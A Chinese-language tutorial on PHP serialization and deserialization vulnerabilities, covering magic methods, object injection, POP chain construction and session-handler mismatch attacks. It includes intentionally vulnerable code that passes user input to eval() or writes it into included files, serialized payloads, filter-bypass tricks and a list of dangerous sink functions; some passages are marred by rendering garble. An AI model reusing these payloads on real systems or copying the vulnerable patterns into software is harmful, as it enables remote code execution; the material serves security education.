一.什么是序列化和反序列化
php类与对象
类是定义一系列属性和操作的模板,而对象,就是把属性进行实例化,完事交给类里面的方法,进行处理。
<?php
class people{//定义类属性(类似变量),public 代表可见性(公有)public $name = 'joker';//定义类方法(类似函数)public function smile(){echo $this->name." is smile...\n";}
}$psycho = new people(); //根据people类实例化对象
$psycho->smile();
?>
上述代码定义了一个people类,并在在类中定义了一个public类型的变量n a m e 和类方法 s m i l e 。然后实例化一个对象 name和类方法smile。然后实例化一个对象name和类方法smile。然后实例化一个对象psycho,去调用people类里面的smile方法,打印出结果。
含义
php序列化(serialize):是将变量转换为可保存或传输的字符串的过程
php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
对象序列化成的字节序列会包含对象的类型信息、对象的数据等,说白了就是包含了描述这个对象的所有信息,能根据这些信息“复刻”出一个和原来一模一样的对象。
常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。
示例
<?php
class object{public $team = 'joker';private $team_name = 'hahaha';protected $team_group = 'biubiu';function hahaha(){$this->$team_members = '奥力给';}
}
$object = new object();
echo serialize($object);
?>
O 表示object,一个对象
6 表示对象名长度为6
object 对象名称
3 表示有3个属性
后面花括号里的是类属性的内容,s表示的是类属性team的类型,4表示类属性team的长度,后面的以此类推。
对象类型:对象长度:“对象名称”:类中变量的个数:{变量类型:长度:“名称”;类型:长度:“值”;…}
序列化
序列化格式中的字母含义:
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
类方法并不会参与到实例化里面
需要注意的是变量受到不同修饰符(public,private,protected)修饰进行序列化时,序列化后变量的长度和名称会发生变化。使用public修饰进行序列化后,变量$team的长度为4,正常输出。
使用private修饰进行序列化后,会在变量$team_name前面加上类的名称,在这里是object,并且长度会比正常大小多2个字节,也就是9+6+2=17。
使用protected修饰进行序列化后,会在变量$team_group前面加上*,并且长度会比正常大小多3个字节,也就是10+3=13。
通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则:
1.受Private修饰的私有成员,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名]
2. 受Protected修饰的成员,序列化时:\x00 + * + \x00 + [变量名]
其中,“\x00"代表ASCII为0的值,即空字节,” * " 必不可少。
反序列化
依次根据规则进行反向复原。
这边定义一个字符串,然后使用反序列化函数unserialize进行反序列化处理,最后使用var_dump进行输出:
<?php$ser = 'O:6:"object":3:{s:1:"a";i:1;s:4:"team";s:6:"hahaha";}';$ser = unserialize($ser);var_dump($ser);
?>
二.魔术方法
方法名 | 作用 |
__construct | 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值 |
__destruct | 析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用 |
__toString | 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法 |
__wakeup() | 使用unserialize时触发,反序列化恢复对象之前调用该方法 |
__sleep() | 使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化) |
__destruct() | 对象被销毁时触发 |
__call() | 在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__get() | 读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性) |
__set() | 在给不可访问属性赋值时,即在调用私有属性的时候会自动执行 |
__isset() | 当对不可访问属性调用isset()或empty()时触发 |
__unset() | 当对不可访问属性调用unset()时触发 |
__invoke() | 当脚本尝试将对象调用为函数时触发 |
__tostring的具体触发场景:
(1) echo(o b j ) / p r i n t ( obj) / 打印时会触发
(2) 反序列化对象与字符串连接时
(3) 反序列化对象参与格式化字符串时
(4) 反序列化对象与字符串进行比较时(PHP进行比较的时候会转换参数类型)
(5) 反序列化对象参与格式化SQL语句,绑定参数时
(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8) 反序列化的对象作为 class_exists() 的参数的时候
三.php反序列化漏洞(对象注入)
在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。
挖掘反序列化漏洞的条件是:
1.代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。
2. unserialize()函数的参数可控。
php对象注入示例一:
<?php
class A{var $test = "demo";function __destruct(){@eval($this->test);}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($p); // 反序列化同时触发_destruct函数
?>
最终的目的是通过调用__destruct()这个析构函数,将恶意的payload注入,导致代码执行。根据上面的魔术方法的介绍,当程序跑到unserialize()反序列化的时候,会触发__destruct()方法,同时也可以触发__wakeup()方法。但是如果想注入恶意payload,还需要对$test的值进行覆盖,题目中已经给出了序列化链,很明显是对类A的$test变量进行覆盖。
首先这里要传入$test,而test就是phpinfo();$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; 这里重新定义了A,把test变成了我们传递的值,这句话的功能就相当于var $test = "$_POST=['test']";,而在php中这句话就把前面的var $test = "demo";覆盖掉了,从而执行了__destruct()这个析构函数,eval也就执行了我们提交的phpinfo
php对象注入示例二:
<?php
class test{var $test = '123';function __wakeup(){$fp = fopen("flag.php","w");fwrite($fp,$this->test);fclose($fp);}
}
$a = $_GET['id'];
print_r($a);
echo "</br>";
$a_unser = unserialize($a);
require "flag.php";
?>
这里主要通过调用魔术方法__wakeup将KaTeX parse error: Expected group after '_' at position 47: …ize()反序列化操作时会触发_̲_wakeup魔术方法,接下来…test变量的值,将php探针写入flag.php文件中,并通过下面的require引用,导致命令执行。
1.POP 面向属性编程(Property-Oriented Programing)
上面的例子都是基于 " 自动调用 " 的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过 " 自动调用 " 来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。
POP链简介
1.POP 面向属性编程(Property-Oriented Programing)
常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的 " gadget " 找到漏洞点。
2. POP CHAIN
把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
POP链利用技巧
1 一些有用的POP链中出现的方法:
命令执行:exec()、passthru()、popen()、system()
文件操作:file_put_contents()、file_get_contents()、unlink()
代码执行:eval()、assert()、call_user_func()
2. 反序列化中为了避免信息丢失,使用大写S支持字符串的编码。
PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:s:4:"user"; -> S:4:"use\72";
3. 深浅copy
在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。 $A = &$B;
4. 利用PHP伪协议
配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。
POP链构造案例
<?php
class main {protected $ClassObj;function __construct() {$this->ClassObj = new normal();}function __destruct() {$this->ClassObj->action();}
}class normal {function action() {echo "hello bmjoker";}
}class evil {private $data;function action() {eval($this->data);}
}
//$a = new main();
unserialize($_GET['a']);
?>
如上代码,危险的命令执行方法eval不在魔术方法中,在evil类中。但是魔术方法__construct()是调用normal类,__destruct()在程序结束时会去调用normal类中的action()方法。而我们最终的目的是去调用evil类中的action()方法,并伪造evil类中的变量KaTeX parse error: Expected group after '_' at position 41: …去构造POP利用链,让魔术方法_̲_construct()去调用…data赋予恶意代码,比如php探针phpinfo(),这样就相当于执行<?php eval("phpinfo();")?>`。尝试构造payload:
<?php
class main {protected $ClassObj;function __construct() {$this->ClassObj = new evil();}
}
class evil {private $data = "phpinfo();";
}
$a = new main();
echo serialize($a);
?>
编写我们想要执行的效果,然后进行序列化。
但是由于$ClassObj是protected类型修饰,$data是private类型修饰,在序列化的时候,多出来的字节都被\x00填充,需要进行在代码中使用urlencode对序列化后字符串进行编码,否则无法复制解析。运行得到O:4:"main":1:{s:11:"*ClassObj";O:4:"evil":1:{s:10:"evildata";s:10:"phpinfo();";}}
PHP Session反序列化
session请求过程
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
session_start的作用
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
Session存储机制
PHP中的Session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是Session值的序列化之后的内容。
PHP Session在php.ini中主要存在以下配置项:
Directive* | 含义 |
---|---|
session.save_handler | 设定用户自定义session存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)。默认为files |
session.save_path | 设置session的存储路径,默认在/tmp |
session.serialize_handler | 定义用来序列化/反序列化的处理器名字。默认使用php。 |
session.auto_start | 指定会话模块是否在请求开始时启动一个会话,默认为0不启动 |
session.upload_progress.enabed | 将上传文件的进度信息存储在session中。默认开启 |
session.upload_progress.cleanup | 一旦读取了所有的POST数据,立即清除进度信息。默认开启 |
注意:这里修改session.save.path在php.ini中修改,三个都要改而且要去掉前面的冒号,重启才可以生效
在PHP中Session有三种序列化的方式,分别是php,php_serialize,php_binary,不同的引擎所对应的Session的存储的方式不同
存储引擎 | 存储方式 |
---|---|
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值 |
php | 键名 + 竖线 + 经过 serialize() 函数序列处理的值 |
php_serialize | (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 |
Session反序列化漏洞
PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理session文件造成的。
存在对$_SESSION变量赋值
php引擎存储Session的格式为
php | 键名 + 竖线 + 经过 serialize() 函数序列处理的值 |
---|---|
php_serialize | (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 |
如果程序使用两个引擎来分别处理的话就会出现问题。比如下面的例子,先使用php_serialize引擎来存储
session 1:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>
接下来使用php引擎来读取Session文件
session 2:
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{var $name;var $age;function __wakeup(){echo "hello ".$this->name." !"}
}
?>
漏洞的主要原因在于不同的引擎对于竖杠’ | ‘的解析产生歧义。
对于php_serialize引擎来说’ | ‘可能只是一个正常的字符;但对于php引擎来说’ | ‘就是分隔符,前面是$_SESSION['username']的键名 ,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对’ | ‘后的值进行反序列化处理。
可能有的人看到这里会有疑问,在使用php引擎读取Session文件时,为什么会自动对’ | '后面的内容进行反序列化呢?也没看到反序列化unserialize函数。
这是因为使用了session_start()这个函数 ,PHP会自动反序列化数据并填充$_session超级全局变量。PHP能自动反序列化数据的前提是,现有的会话数据是以特殊的序列化格式存储。
构造payload:
<?phpclass user{var $name;var $age;}$a = new user();$a->name = "bmjoker";$a->age = "888";echo serialize($a);
?>
运行得到O:4:"user":2:{s:4:"name";s:7:"bmjoker";s:3:"age";s:3:"888";},生成的payload如果想利用php引擎读取Session文件时对’ | ‘解析产生的反序列化漏洞,需要在payload前加个’ | ',这个时候经过php_serialize引擎存储就会变成:
当使用php引擎的时候,php引擎会以|作为key和value的分隔符;左边部分是session的key,右边部分为session的vale
直接运行session 2